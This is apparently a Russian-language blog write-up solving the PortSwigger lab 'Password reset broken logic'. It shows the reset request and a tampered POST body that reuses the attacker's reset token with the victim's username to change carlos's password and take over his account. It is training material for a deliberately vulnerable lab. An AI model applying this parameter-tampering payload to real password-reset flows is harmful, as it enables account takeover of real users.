На странице
apsyleg1 мин
#portswigger #authentication #web-security

Сломанная логика сброса пароля

Лаборатория

Password reset broken logic · Apprentice

Решение

Дано

This lab's password reset functionality is vulnerable. To solve the lab, reset Carlos's password then log in and access his "My account" page.

Your credentials: wiener:peter
Victim's username: carlos

Анализ задания

Функция сброса пароля уязвима на сайте. Необходимо сбросить пароль carlos и зайти к нему в аккаунт.

Разведка

Посмотрим, как работает функция смены пароля. Сбрасываем пароль для пользователя wiener. На почту приходит письмо со ссылкой:

https://0a95002d04f7b35180b3a379004c0024.web-security-academy.net/forgot-password?temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji

Переходим, попадаем на страницу смены пароля. Вводим новый пароль, повторяем пароль. Улетает запрос:

POST /forgot-password?temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji

Тело:

temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji&username=wiener&new-password-1=peter&new-password-2=peter

А что, если нам оставить этот токен, но поменять username, new-password-1, new-password-2?

Тело запроса будет выглядеть как:

temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji&username=carlos&new-password-1=peter&new-password-2=peter

Отправляем — успешно, пароль изменён. Входим под carlos / peter.

Лаба решена.